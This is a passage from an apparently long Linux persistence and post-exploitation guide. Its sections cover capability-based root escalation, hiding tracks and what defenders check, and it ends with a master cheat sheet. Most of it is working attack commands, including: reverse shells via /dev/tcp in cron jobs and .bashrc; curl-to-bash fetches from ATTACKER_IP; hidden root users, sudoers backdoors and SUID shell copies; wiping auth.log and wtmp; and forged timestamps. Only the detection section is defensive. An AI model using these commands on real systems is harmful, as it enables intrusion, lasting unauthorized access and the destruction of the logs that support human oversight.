# Root grants capability to python3
setcap cap_setuid+eip /usr/bin/python3.10

# Any user now gets root UID:
python3 -c "import os; os.setuid(0); os.system('/bin/bash')"

# ==========================================
# METHOD 2 — cap_setuid on vim
# ==========================================

setcap cap_setuid+eip /usr/bin/vim.basic

# Exploit:
vim -c ':py3 import os; os.setuid(0); os.execl("/bin/bash","bash","-p")'

# ==========================================
# METHOD 3 — cap_dac_override on cat/tee
# ==========================================

# Can read ANY file, including /etc/shadow!
setcap cap_dac_override+eip /usr/bin/tee

# Exploit (write SSH key as any user):
echo "ssh-rsa AAAA..." | tee /root/.ssh/authorized_keys

# ==========================================
# FIND CAPABILITIES
# ==========================================

getcap -r / 2>/dev/null                    # Find all binaries with caps
getpcaps <PID>                             # Capabilities of a process
cat /proc/<PID>/status | grep Cap         # Raw capability bitmask

19. Hiding Tracks

Cover your presence — clear logs, hide files, mask processes.

# ==========================================
# CLEAR LOG FILES
# ==========================================

# Clear bash history (current session)
history -c
history -w
unset HISTFILE
export HISTSIZE=0

# Prevent history recording (set at start of session)
unset HISTFILE
export HISTFILESIZE=0
export HISTSIZE=0

# Clear specific log files
cat /dev/null > /var/log/auth.log
cat /dev/null > /var/log/syslog
cat /dev/null > /var/log/messages
cat /dev/null > /var/log/apache2/access.log
cat /dev/null > /var/log/apache2/error.log

# Remove specific lines from auth.log (surgical)
sed -i '/ATTACKER_IP/d' /var/log/auth.log
sed -i '/backdoor/d' /var/log/auth.log

# Clear wtmp/lastlog (hides last login info)
cat /dev/null > /var/log/wtmp      # Clears 'last' command output
cat /dev/null > /var/log/lastlog   # Clears 'lastlog' output
cat /dev/null > /var/log/btmp      # Clears failed login attempts

# ==========================================
# HIDE FILES
# ==========================================

# Prepend dot to hide from ls (not ls -la)
mv backdoor.sh .backdoor.sh
mkdir /tmp/.hidden/

# Use "..." or spaces as directory names (harder to notice)
mkdir '/tmp/...'
mkdir '/tmp/ '    # Space in name!

# Hide in /dev (unusual location, often ignored)
mkdir /dev/.persist
cp /tmp/shell.sh /dev/.persist/

# Use /proc/pid fake directory tricks
# Store in /tmp with timestamp-like names
cp shell.sh /tmp/1726856366

# ==========================================
# HIDE PROCESSES
# ==========================================

# Use names that look like kernel threads [brackets]
# (requires compiling custom binary with process rename)
prctl(PR_SET_NAME, "[kworker/0:1]", 0, 0, 0)

# Run under a common process name
exec -a "[sshd]" /tmp/backdoor

# ==========================================
# TIMESTAMP MANIPULATION
# ==========================================

# Match timestamps of modified files to legit files
touch -r /bin/ls /etc/cron.d/backdoor        # Copy timestamp from ls
touch -t 202301010000 /etc/cron.d/backdoor   # Set specific timestamp
touch -r /etc/passwd /etc/cron.d/backdoor    # Match /etc/passwd time

# ==========================================
# REMOVE EVIDENCE OF DOWNLOAD
# ==========================================

# Download and execute without saving to disk
curl -s http://ATTACKER_IP/payload.sh | bash
wget -qO- http://ATTACKER_IP/payload.sh | bash

# Clear specific command from history
history | grep wget
history -d <line_number>

20. Detection & Blue Team

Know what defenders look for. Know how to be harder to find.

# ==========================================
# WHAT DEFENDERS CHECK
# ==========================================

# Cron jobs
crontab -l -u root
crontab -l -u www-data
cat /etc/cron.d/*
ls /etc/cron.hourly/ /etc/cron.daily/

# Systemd services (look for recently added/enabled)
systemctl list-units --type=service --state=enabled
systemctl list-timers --all
ls -lt /etc/systemd/system/          # Sort by modification time!

# SSH authorized keys
find / -name "authorized_keys" 2>/dev/null
cat /root/.ssh/authorized_keys
cat /home/*/.ssh/authorized_keys

# SUID binaries
find / -perm -4000 -type f 2>/dev/null
# Compare against known-good SUID list

# Capabilities
getcap -r / 2>/dev/null

# Users with shells (UID 0 or sudo)
grep -v 'nologin\|false' /etc/passwd
awk -F: '($3==0)' /etc/passwd         # UID 0 users
grep -i sudo /etc/group

# Listening ports (backdoor listeners)
ss -tlnp
netstat -tlnp

# Hidden files
find / -name ".*" -type f 2>/dev/null | grep -v ".cache\|.config\|.local"

# Recently modified files
find /etc /bin /sbin /usr/bin /usr/sbin -newer /tmp -type f 2>/dev/null
find / -mtime -1 -type f 2>/dev/null          # Modified in last 24h

# LD_PRELOAD
cat /etc/ld.so.preload

# PAM modules
ls -la /lib/x86_64-linux-gnu/security/
cat /etc/pam.d/sshd
cat /etc/pam.d/sudo

# Shell profiles
cat /etc/profile
cat /etc/bash.bashrc
cat /etc/profile.d/*.sh
cat ~/.bashrc ~/.bash_profile ~/.profile

# MOTD scripts
ls -la /etc/update-motd.d/

# /etc/passwd for unusual entries
grep -v 'nologin\|false\|sync' /etc/passwd

# Process tree (look for unusual parents)
ps -ef --forest
pstree -p

# ==========================================
# DETECTION TOOLS
# ==========================================

# rkhunter (rootkit hunter)
rkhunter --check --sk

# chkrootkit
chkrootkit

# Lynis (system audit)
lynis audit system

# Tripwire (file integrity)
tripwire --check

# Auditd (system call logging)
auditctl -l        # Active audit rules
ausearch -k persistence
aureport --summary

# Sysmon for Linux
# systemctl status sysmon
# /var/log/syslog (Sysmon events)

21. Master Cheat Sheet

LINUX PERSISTENCE MASTER REFERENCE

=====================================================================

TIER 1 — USER LEVEL (No Root Required)
─────────────────────────────────────────────────────────────────
SSH Key echo "ssh-rsa AAAA..." >> ~/.ssh/authorized_keys
crontab crontab -e → * * * * * bash -i >& /dev/tcp/IP/4444 0>&1
Shell Profile echo 'nohup bash -c "bash -i >& /dev/tcp/IP/4444 0>&1" &' >> ~/.bashrc
Systemd User ~/.config/systemd/user/.service + systemctl --user enable
at Job echo '/tmp/shell.sh' | at now + 5 minutes
Git Hook .git/hooks/pre-commit → shell execution
Web Shell echo '' > /var/www/html/img.php

TIER 2 — ROOT LEVEL (High Impact)
─────────────────────────────────────────────────────────────────
Systemd Service /etc/systemd/system/.service + systemctl enable
Systemd Timer /etc/systemd/system/.timer → scheduled via systemd
/etc/cron.d/ echo "* * * * * root bash -i >& /dev/tcp/IP/4444 0>&1" > /etc/cron.d/svc
rc.local append command before 'exit 0' in /etc/rc.local
init.d script /etc/init.d/ + update-rc.d defaults
MOTD /etc/update-motd.d/ → script runs every SSH login!
New Root User useradd -o -u 0 -g 0 -s /bin/bash backdoor
sudoers entry echo 'backdoor ALL=(ALL) NOPASSWD:ALL' >> /etc/sudoers
SUID bash copy cp /bin/bash /tmp/.bash && chmod +s /tmp/.bash
SUID python3 chmod +s /usr/bin/python3 → any user can do os.setuid(0)
LD_PRELOAD echo '/lib/libutil-preload.so' >> /etc/ld.so.preload
PAM backdoor compile pam_backdoor.so → add to /etc/pam.d/sshd

TIER 3 — ADVANCED
─────────────────────────────────────────────────────────────────
Kernel Module insmod backdoor.ko → deepest, hardest to detect
Docker Group docker run -v /:/mnt/host alpine chroot /mnt/host bash
Capabilities setcap cap_setuid+eip /usr/bin/python3.10

QUICK REDUNDANCY STRATEGY (Do ALL of these after root):
─────────────────────────────────────────────────────────────────

  1. SSH key → /root/.ssh/authorized_keys

  2. Cron job → /etc/cron.d/ (every minute)

  3. Systemd service → /etc/systemd/system/

  4. New user with sudo → backdoor:Password123!

  5. SUID bash copy → /tmp/.bash

  6. MOTD script → /etc/update-motd.d/

STEALTH TIPS:
─────────────────────────────────────────────────────────────────

  • Use names that mimic legit services:
    dbus-org.freedesktop.resolved, apt-daily-upgrade, NetworkManager-dispatcher

  • Touch timestamps to match legit files:
    touch -r /bin/ls /etc/cron.d/backdoor

  • Execute from memory (no file on disk):
    curl -s http://ATTACKER_IP/payload | bash

  • Use nohup + disown to detach:
    nohup /tmp/shell &>/dev/null & disown

  • Store files in unusual locations:
    /dev/.hidden/, /var/lib/apt/.cache/, /proc/sys/.data

COVERING TRACKS:
─────────────────────────────────────────────────────────────────
unset HISTFILE && export HISTSIZE=0
cat /dev/null > /var/log/auth.log
cat /dev/null > /var/log/syslog
sed -i '/ATTACKER_IP/d' /var/log/auth.log
cat /dev/null > /var/log/wtmp

← Linux top ↑